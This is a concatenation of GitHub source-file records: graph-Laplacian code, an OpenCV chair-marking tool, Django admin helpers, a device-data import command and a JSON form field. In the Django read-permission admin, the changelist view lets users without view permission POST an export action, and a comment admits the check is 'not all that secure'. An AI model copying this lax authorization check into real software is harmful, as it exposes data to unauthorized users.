spectral_gap(bauer_laplacian_matrix, param=gap)\n\ndef bls_matrix(matrix, reverse_flow=False):\n#  in: tribe matrix\n# out: bauer laplacian matrix\n    #non_quasi_isolated = [i for i in range(len(matrix)) if matrix[i].any()]\n    #matrix_D = np.diagflat([np.count_nonzero(matrix[nqi]) for nqi in non_quasi_isolated])\n    #matrix_W = np.diagflat([np.count_nonzero(np.transpose(matrix)[nqi]) for nqi in non_quasi_isolated])\n    #return np.subtract(np.eye(len(non_quasi_isolated),dtype=int),np.matmul(inv(matrix_D),matrix_W))\n    current_size = len(matrix)\n    return np.subtract(np.eye(current_size,dtype='float64'),tps_matrix(matrix, in_deg=(not reverse_flow)))\n\n\n##\n## TO BE DELETED ONCE EVERYTHING WORKS\n##\n\n\n# # degree\n# def degree(chief_index, matrix, vertex_index=0):\n#     current_tribe = tribe(chief_index, matrix)\n#     return degree_adjacency(current_tribe, vertex_index=vertex_index)\n\n# def degree_adjacency(matrix, vertex_index=0):\n#     return in_degree_adjacency(matrix, vertex_index=vertex_index)+out_degree_adjacency(matrix, vertex_index=vertex_index)\n\n\n# # in-degree\n# def in_degree(chief_index, matrix, vertex_index=0):\n#     current_tribe = tribe(chief_index, matrix)\n#     return in_degree_adjacency(current_tribe, vertex_index=vertex_index)\n\n# def in_degree_adjacency(matrix, vertex_index=0):\n#     return np.count_nonzero(np.transpose(matrix)[vertex_index])\n\n\n# # out-degree\n# def out_degree(chief_index, matrix, vertex_index=0):\n#     current_tribe = tribe(chief_index, matrix)\n#     return out_degree_adjacency(current_tribe, vertex_index=vertex_index)\n\n\n\n# def out_degree_adjacency(matrix, vertex_index=0):\n#     return np.count_nonzero(matrix[vertex_index])", "repo_name": "danielaegassan/connectome_analysis", "sub_path": "src/connalysis/network/classic.py", "file_name": "classic.py", "file_ext": "py", "file_size_in_byte": 26225, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scipy.sparse.csgraph.connected_components", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.sparse.csgraph.connected_components", "line_number": 37, "usage_type": "call"}, {"api_name": "sknetwork.ranking.Closeness", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.ix_", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 77, "usage_type": "call"}, {"api_name": "networkx.from_numpy_matrix", "line_number": 79, "usage_type": "call"}, {"api_name": "networkx.connected_components", "line_number": 80, "usage_type": "call"}, {"api_name": "networkx.from_numpy_matrix", "line_number": 85, "usage_type": "call"}, {"api_name": "networkx.algorithms.core.core_number", "line_number": 87, "usage_type": "call"}, {"api_name": "networkx.algorithms", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 95, "usage_type": "call"}, {"api_name": "scipy.stats.hypergeom", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.triu_indices_from", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 123, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 175, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.squareform", "line_number": 179, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 179, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.pdist", "line_number": 179, "usage_type": "call"}, {"api_name": "patsy.ModelDesc.from_formula", "line_number": 181, "usage_type": "call"}, {"api_name": "patsy.ModelDesc", "line_number": 181, "usage_type": "name"}, {"api_name": "statsmodels.formula.api.ols", "line_number": 183, "usage_type": "call"}, {"api_name": "statsmodels.formula.api", "line_number": 183, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 201, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 201, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 238, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 258, "usage_type": "call"}, {"api_name": "scipy.stats.binom.pmf", "line_number": 259, "usage_type": "call"}, {"api_name": "scipy.stats.binom", "line_number": 259, "usage_type": "name"}, {"api_name": "numpy.cumsum", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 261, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 270, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 270, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.nanmax", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 294, "usage_type": "call"}, {"api_name": "numpy.ix_", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 302, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 303, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 309, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 309, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 329, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 329, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 340, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 344, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 366, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 371, "usage_type": "call"}, {"api_name": "scipy.stats.hypergeom.stats", "line_number": 371, "usage_type": "call"}, {"api_name": "scipy.stats.hypergeom", "line_number": 371, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 373, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 374, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 375, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 375, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 375, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 376, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 390, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 404, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 404, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 413, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 416, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 416, "usage_type": "attribute"}, {"api_name": "numpy.nanmean", "line_number": 418, "usage_type": "call"}, {"api_name": "numpy.nanstd", "line_number": 419, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 441, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 443, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 450, "usage_type": "call"}, {"api_name": "networkx.to_numpy_array", "line_number": 475, "usage_type": "call"}, {"api_name": "networkx.from_numpy_array", "line_number": 494, "usage_type": "call"}, {"api_name": "networkx.DiGraph", "line_number": 494, "usage_type": "attribute"}, {"api_name": "networkx.strongly_connected_components", "line_number": 515, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 539, "usage_type": "call"}, {"api_name": "scipy.linalg.eigvals", "line_number": 540, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 549, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 549, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 551, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 551, "usage_type": "call"}, {"api_name": "topology.node_degree", "line_number": 597, "usage_type": "call"}, {"api_name": "numpy.linalg.matrix_power", "line_number": 598, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 598, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 598, "usage_type": "call"}, {"api_name": "numpy.count_nonzero", "line_number": 621, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 621, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 621, "usage_type": "call"}, {"api_name": "numpy.count_nonzero", "line_number": 623, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 623, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 623, "usage_type": "call"}, {"api_name": "topology.node_degree", "line_number": 651, "usage_type": "call"}, {"api_name": "topology.node_degree", "line_number": 653, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 655, "usage_type": "call"}, {"api_name": "numpy.diagflat", "line_number": 655, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 674, "usage_type": "call"}, {"api_name": "networkx.strongly_connected_components", "line_number": 681, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 687, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 688, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 690, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 690, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 691, "usage_type": "call"}, {"api_name": "networkx.directed_laplacian_matrix", "line_number": 694, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 714, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 714, "usage_type": "call"}]}
{"seq_id": "27851054371", "text": "import numpy as np\nimport cv2\n\n\nwindow_main = 'Chairs'\nimg_in = cv2.imread('chairs.jpg', 1)\nimg_out = np.array(img_in)\ndx = 5\ndy = 5\ndetection_tol = 10\nwin_width = 1000\nwin_height = 800\nchairpos = []\n\n\nclass queue:\n    a = []\n\n    def enqueue(self, x):\n        self.a = self.a + [x]\n        return True\n\n    def dequeue(self):\n        output = self.a[0]\n        self.a = self.a[1:]\n        return output\n\n\ndef undo():\n    global window_main\n    global img_in\n    global img_out\n    global chairpos\n\n    if len(chairpos) == 0:\n        return True\n\n    chair = chairpos[-1]\n    chairpos = chairpos[:-1]\n\n    for p in chair:\n        x = p[0]\n        y = p[1]\n\n        cv2.circle(img_out, (x, y), 1, (int(img_in[y, x][0]), int(img_in[y, x][1]), int(img_in[y, x][2])), -1)\n\n    cv2.imshow(window_main, img_out)\n\n    return True\n\n\ndef compare_color(x1, y1, x2, y2):\n    global img_in\n    global img_out\n    global detection_tol\n\n    c1 = np.array(img_in[y1, x1], dtype=int)\n    c2 = np.array(img_in[y2, x2], dtype=int)\n\n    if np.sum(np.abs(c2 - c1)) > detection_tol:\n        return False\n\n    return True\n\n\ndef detect_chair(x_0, y_0):\n    global window_main\n    global img_in\n    global img_out\n    global dx\n    global dy\n    global chairpos\n\n    chair = []\n\n    q = queue()\n    q.enqueue([x_0, y_0])\n\n    while len(q.a) > 0:\n        point = q.dequeue()\n        x = point[0]\n        y = point[1]\n        chair = chair + [[x, y]]\n\n        cv2.circle(img_out, (x, y), 1, (0, 0, 255), -1)\n\n        if compare_color(x, y, x + dx, y) and not np.array_equal(img_out[y, x + dx], [0, 0, 255]):\n            q.enqueue([x + dx, y])\n            cv2.circle(img_out, (x + dx, y), 1, (0, 0, 255), -1)\n\n        if compare_color(x, y, x - dx, y) and not np.array_equal(img_out[y, x - dx], [0, 0, 255]):\n            q.enqueue([x - dx, y])\n            cv2.circle(img_out, (x - dx, y), 1, (0, 0, 255), -1)\n\n        if compare_color(x, y, x, y + dy) and not np.array_equal(img_out[y + dy, x], [0, 0, 255]):\n            q.enqueue([x, y + dy])\n            cv2.circle(img_out, (x, y + dy), 1, (0, 0, 255), -1)\n\n        if compare_color(x, y, x, y - dy) and not np.array_equal(img_out[y - dy, x], [0, 0, 255]):\n            q.enqueue([x, y - dy])\n            cv2.circle(img_out, (x, y - dy), 1, (0, 0, 255), -1)\n\n    chairpos = chairpos + [chair]\n\n    return True\n\n\ndef mouse_click(event, x, y, flags, param):\n    global window_main\n    global img_in\n    global img_out\n\n    if event == cv2.EVENT_LBUTTONDOWN:\n        detect_chair(x, y)\n        cv2.imshow(window_main, img_out)\n\n    return True\n\n\ndef main():\n    global window_main\n    global chairpos\n    global img_in\n    global img_out\n    global win_width\n    global win_height\n\n    cv2.namedWindow(window_main, 0)\n    cv2.setMouseCallback(window_main, mouse_click)\n    cv2.resizeWindow(window_main, win_width, win_height)\n\n    if img_in is None:\n        print('Could not find the picture specified!')\n        return True\n\n    cv2.imshow(window_main, img_out)\n\n    while 1 == 1:\n        k = cv2.waitKey(0)\n\n        if k == ord('z'):\n            undo()\n        if k == 27:\n            break\n\n\n    cv2.destroyAllWindows()\n\n    output = open('output.txt', 'w')\n    for chair in chairpos:\n        line = str(len(chair)) + '\\n'\n        for p in chair:\n            x = p[0]\n            y = p[1]\n            c = img_in[y, x]\n            line = line + str(x) + ',' + str(y) + ',' + str(c[0]) + ',' + str(c[1]) + ',' + str(c[2]) + '\\n';\n\n        output.write(line)\n\n    output.close()\n\n    return True\n\nif __name__ == '__main__':\n    main()", "repo_name": "soroush1379/ElevateHackathon2019", "sub_path": "Chair Detection/chair_setup.py", "file_name": "chair_setup.py", "file_ext": "py", "file_size_in_byte": 3555, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONDOWN", "line_number": 113, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.setMouseCallback", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.resizeWindow", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 139, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 147, "usage_type": "call"}]}
{"seq_id": "15954863014", "text": "from django.db.models import AutoField\nfrom django.db import models\nfrom django.core.exceptions import PermissionDenied\nfrom django.contrib import admin\n\nclass Callable:\n    def __init__(self, anycallable):\n        self.__call__ = anycallable\n\ndef copy_model_instance(obj):\n    \"\"\" Django snippit 1040\n    Create a copy of a model instance.\n    Works in model inheritance case where instance.pk = None is not good enough, since the subclass instance refers to the parent_link's primary key during save.\n    M2M relationships are currently not handled, i.e. they are not copied.\n    \"\"\"\n    initial = dict([(f.name, getattr(obj, f.name))\n                    for f in obj._meta.fields\n                    if not isinstance(f, AutoField) and\\\n                       not f in obj._meta.parents.values()])\n    return obj.__class__(**initial)\n\ndef log_admin_entry(request, obj, state, message=\"\"):\n    \"\"\"\n    Make a log entry in django admin.\n    request: Django request - must have user. Will do nothing without user.\n    obj: Any django object\n    state: django.contrib.admin.models. ADDITION, DELETION, or CHANGE\n    message: optional message for log\n    \"\"\"\n    from django.contrib.admin.models import LogEntry\n    from django.contrib.contenttypes.models import ContentType\n    if request.user and hasattr(request.user,\"pk\"):\n        LogEntry.objects.log_action(\n            user_id         = request.user.pk, \n            content_type_id = ContentType.objects.get_for_model(obj).pk,\n            object_id       = obj.pk,\n            object_repr     = unicode(obj), \n            action_flag     = state,\n            change_message  = message\n        )\n\nclass Struct(object):\n    def __unicode__(self):\n        return \"\"\n\nclass CharNullField(models.CharField):\n    description = \"CharField that stores NULL but returns ''\"\n    def to_python(self, value):  #this is the value right out of the db, or an instance\n       if isinstance(value, models.CharField): #if an instance, just return the instance\n              return value \n       if value==None:   #if the db has a NULL (==None in Python)\n              return \"\"  #convert it into the Django-friendly '' string\n       else:\n              return value #otherwise, return just the value\n    def get_db_prep_value(self, value, *args, **kwargs):  #catches value right before sending to db\n       if value==\"\":     #if Django tries to save '' string, send the db None (NULL)\n            return None\n       else:\n            return super(CharNullField, self).get_db_prep_value(value, *args, **kwargs)\n    \nclass ReadPermissionModelAdmin(admin.ModelAdmin):\n    \"\"\" based on http://gremu.net/blog/2010/django-admin-read-only-permission/\n    Admin model that allows users to read\n    \"\"\"\n    def has_change_permission(self, request, obj=None):\n        if getattr(request, 'readonly', False):\n            return True\n        return super(ReadPermissionModelAdmin, self).has_change_permission(request, obj)\n\n    def changelist_view(self, request, extra_context=None):\n        try:\n            return super(ReadPermissionModelAdmin, self).changelist_view(\n                request, extra_context=extra_context)\n        except PermissionDenied:\n            pass\n        perm_name = '%s.view_%s' % (self.model._meta.app_label, unicode.lower(unicode(self.model._meta.object_name)))\n        if request.method == 'POST' or not perm_name in request.user.get_all_permissions():\n            # Only allow POST if export to xls and nothing evil\n            # It's not all that secure, but we assume authenticated users aren't trying to hack things.\n            if not (request.POST['action'] == 'export_simple_selected_objects' and len(request.POST) <= 4) :\n                raise PermissionDenied\n        request.readonly = True\n        return super(ReadPermissionModelAdmin, self).changelist_view(\n            request, extra_context=extra_context)\n\n    def change_view(self, request, object_id, extra_context=None):\n        try:\n            return super(ReadPermissionModelAdmin, self).change_view(\n                request, object_id, extra_context=extra_context)\n        except PermissionDenied:\n            pass\n        if request.method == 'POST':\n            raise PermissionDenied\n        request.readonly = True\n        return super(ReadPermissionModelAdmin, self).change_view(\n            request, object_id, extra_context=extra_context)\n", "repo_name": "google-code-export/student-worker-relational-database", "sub_path": "ecwsp/sis/helper_functions.py", "file_name": "helper_functions.py", "file_ext": "py", "file_size_in_byte": 4376, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.models.AutoField", "line_number": 18, "usage_type": "argument"}, {"api_name": "django.contrib.admin.models.LogEntry.objects.log_action", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.admin.models.LogEntry.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "django.contrib.admin.models.LogEntry", "line_number": 33, "usage_type": "name"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 46, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 49, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 49, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 61, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 61, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 74, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 81, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 90, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 93, "usage_type": "name"}]}
{"seq_id": "74679289866", "text": "from django.core.management.base import BaseCommand, CommandError\nimport requests\nimport json\nfrom data.models import Nursery, Device, Sample, Param\n\n\nclass Command(BaseCommand):\n    help = 'Traer los datos de los dispositivos'\n\n    def json_load_byteified(self, file_handle):\n        return _byteify(\n            json.load(file_handle, object_hook=self._byteify),\n            ignore_dicts=True\n        )\n\n    def json_loads_byteified(self, json_text):\n        return self._byteify(\n            json.loads(json_text, object_hook=self._byteify),\n            ignore_dicts=True\n        )\n\n    def _byteify(self, data, ignore_dicts=False):\n        # if this is a unicode string, return its string representation\n        if isinstance(data, unicode):\n            return data.encode('utf-8')\n        # if this is a list of values, return list of byteified values\n        if isinstance(data, list):\n            return [self._byteify(item, ignore_dicts=True) for item in data]\n        # if this is a dictionary, return dictionary of byteified keys and values\n        # but only if we haven't already byteified it\n        if isinstance(data, dict) and not ignore_dicts:\n            return {\n                self._byteify(key, ignore_dicts=True): self._byteify(value, ignore_dicts=True)\n                for key, value in data.iteritems()\n            }\n        # if it's anything else, return it in its original form\n        return data\n\n    def handle(self, *args, **options):\n        devices = Device.objects.all()\n        params = {\"c\": \"Temperatura\",\n                  \"%\": \"Humedad\",\n                  \"z\": \"Zona de riego\",\n                  \"m3\": \"Volumen de rociado\",\n                  \"r1\": \"Producto regado 1\",\n                  \"r2\": \"Producto regado 2\",\n                  \"so\": \"Grado de sombra\",\n                  \"s\": \"Status operativo del vivero\",\n                  \"pr1\": \"Periodo de regado producto 1\",\n                  \"pr2\": \"Periodo de regado producto 2\"}\n        for device in devices:\n            # try:\n            r = requests.get(device.url)\n            data = self.json_loads_byteified(r.content)\n            nursery = Nursery.objects.get(fiscal_key=data[\"v\"][\"c\"])\n            for i in data:\n                if i != \"v\":\n                    param = Param.objects.get(name__contains=params[i])\n                    if i == \"%\" or i == \"c\":\n                        Sample.objects.create(value=data[i][\"v\"], unit=i, state_transducer=data[i][\"er\"],\n                                              duration=data[i][\"d\"], state_transmission=data[i][\"en\"],\n                                              nursery=nursery,\n                                              param=param\n                                              )\n                    else:\n                        Sample.objects.create(value=data[i][\"v\"], unit=\"placeholder\", state_transducer=data[i][\"er\"],\n                                              duration=data[i][\"d\"], state_transmission=data[i][\"en\"],\n                                              nursery=nursery,\n                                              param=param\n                                              )\n                        # self.stdout.write(self.style.SUCCESS('Successfully'))\n                        # except :\n                        #   self.stdout.write(self.style.ERROR('ERROR'))\n", "repo_name": "INET-VILLADA-2017/backend", "sub_path": "data/management/commands/populate.py", "file_name": "populate.py", "file_ext": "py", "file_size_in_byte": 3336, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 7, "usage_type": "name"}, {"api_name": "json.load", "line_number": 12, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 18, "usage_type": "call"}, {"api_name": "data.models", "line_number": 24, "usage_type": "argument"}, {"api_name": "data.models.encode", "line_number": 25, "usage_type": "call"}, {"api_name": "data.models", "line_number": 25, "usage_type": "name"}, {"api_name": "data.models", "line_number": 27, "usage_type": "argument"}, {"api_name": "data.models", "line_number": 28, "usage_type": "name"}, {"api_name": "data.models", "line_number": 31, "usage_type": "argument"}, {"api_name": "data.models.iteritems", "line_number": 34, "usage_type": "call"}, {"api_name": "data.models", "line_number": 34, "usage_type": "name"}, {"api_name": "data.models", "line_number": 37, "usage_type": "name"}, {"api_name": "data.models.Device.objects.all", "line_number": 40, "usage_type": "call"}, {"api_name": "data.models.Device.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "data.models.Device", "line_number": 40, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 53, "usage_type": "call"}, {"api_name": "data.models", "line_number": 54, "usage_type": "name"}, {"api_name": "data.models.Nursery.objects.get", "line_number": 55, "usage_type": "call"}, {"api_name": "data.models.Nursery.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "data.models.Nursery", "line_number": 55, "usage_type": "name"}, {"api_name": "data.models", "line_number": 55, "usage_type": "name"}, {"api_name": "data.models", "line_number": 56, "usage_type": "name"}, {"api_name": "data.models.Param.objects.get", "line_number": 58, "usage_type": "call"}, {"api_name": "data.models.Param.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "data.models.Param", "line_number": 58, "usage_type": "name"}, {"api_name": "data.models.Sample.objects.create", "line_number": 60, "usage_type": "call"}, {"api_name": "data.models.Sample.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "data.models.Sample", "line_number": 60, "usage_type": "name"}, {"api_name": "data.models", "line_number": 60, "usage_type": "name"}, {"api_name": "data.models", "line_number": 61, "usage_type": "name"}, {"api_name": "data.models.Sample.objects.create", "line_number": 66, "usage_type": "call"}, {"api_name": "data.models.Sample.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "data.models.Sample", "line_number": 66, "usage_type": "name"}, {"api_name": "data.models", "line_number": 66, "usage_type": "name"}, {"api_name": "data.models", "line_number": 67, "usage_type": "name"}]}
{"seq_id": "45474387616", "text": "# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport json\n\nimport six\nfrom django import forms\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.postgres.forms import JSONField\n\n\n__all__ = ['JanySONField']\n\n\nclass JanySONField(JSONField):\n    default_error_messages = {\n        'invalid': _(\"JSON deserialization error: %(error)s\"),\n        'invalid_json_type': _(\"Invalid JSON type\"),\n        'invalid_value': _(\"%(field)s (%(type)s)\"\n                           \" - invalid value: %(value)s\"),\n        'non_declared_fields': _(\"Non-declared field(s): %(fields)s\"),\n    }\n\n    def to_python(self, value):\n        value = value.strip()\n        if value in self.empty_values:\n            return None\n        try:\n            return json.loads(value)\n        except ValueError as error:\n            raise forms.ValidationError(\n                self.error_messages['invalid'],\n                code='invalid',\n                params={'error': error},\n            )\n\n    def prepare_value(self, value):\n        if isinstance(value, six.text_type):\n            return value\n        return json.dumps(\n            value,\n            ensure_ascii=False,\n            indent=4,\n            separators=(',', ': '),\n            sort_keys=True\n        )\n", "repo_name": "un-def/django-janyson", "sub_path": "janyson/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1286, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.postgres.forms.JSONField", "line_number": 16, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 18, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 19, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 20, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 22, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 32, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 32, "usage_type": "name"}, {"api_name": "six.text_type", "line_number": 39, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 41, "usage_type": "call"}]}
